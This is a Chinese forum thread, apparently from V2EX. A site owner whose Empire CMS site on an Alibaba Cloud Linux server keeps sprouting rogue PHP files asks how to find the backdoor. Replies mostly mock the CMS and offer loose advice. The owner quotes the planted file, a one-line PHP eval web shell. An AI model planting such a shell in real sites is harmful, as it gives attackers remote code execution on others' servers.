服务器大神来支招，网站被挂马！

[ningcool]

网站隔几天就会在 web 的一些目录下生成垃圾.php 的脚本文件。比如最近的一个 php 文件：

< php ？ php @ eval ( $_POST [ 'cmd ']) ; ？ >

只有这么一句话的恶意脚本。

我的服务器在阿里云，也买了安骑士杀毒，但是只能检测到恶意脚本，并隔离，但具体这些脚本怎么生成的无法得知，因为隔离了，几天后又有新的垃圾脚本生成。也就是我的 linux 系统里是不是有后门，怎么揪出来？ 还请各位服务器大神给点建议，指点迷津。

[joeke]

帝国系统很傻逼好吗，漏洞很多的，挂木马的话，最好重装系统

[lan894734188]

对用户负责点吧 请个运维很难？

[nVic]

带哥，花钱买 windows server 吧，linux 真的没意思。。cms 就用 wordpress 吧，没毛病。

[Silicon]

帝国 CMS 安全？
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈

检查下 cron.d

[WytheHuang]

帝国 CMS 业界安全？？？想笑了~

[aitaii]

回到了清朝

[cevincheung]

对帝国蜜汁自信…… 23333

[ningcool]

@Silicon 我老了吗，带哥什么意思！

[ningcool]

@tempdban Wordpress 不太适合做 CMS，性能不好

[ningcool]

@test99 漏洞原因并非是 CMS 的问题啊，可能是我的目录权限什么的都是 777.。。。。

[ajan]

写个程序 遍历全部文件，并查找 特殊关键字

[ningcool]

@nVic 不都是 linux 性能好一些吗？

[jason19659]

业界最安全 6666666

[fchypzero]

@ningcool 你 777 也要有漏洞才能写进去啊。

[8355]

我用帝国 cms 的时候好像还是 2012 年.已经不是这个时代的产品了.

[AlisaDestiny]

http://www.phome.net/
这个网站？

[azoon]

网站有上传漏洞，帝国 CMS 已经不是这个时代的产物了。如果楼主继续用帝国建议换到 Windows server。你应该不太适合用 Linux，用 Windows 你还能傻瓜式用些软件去查下漏洞，Windows server 性能不差。

[ningcool]

@AlisaDestiny 哈哈哈 是的！

[tempdban]

@ningcool 做 cache，再不行直接全静态，腾讯 n 多博客都是 wordpress，要是性能有大问题早就弃用了。

[wooyuntest]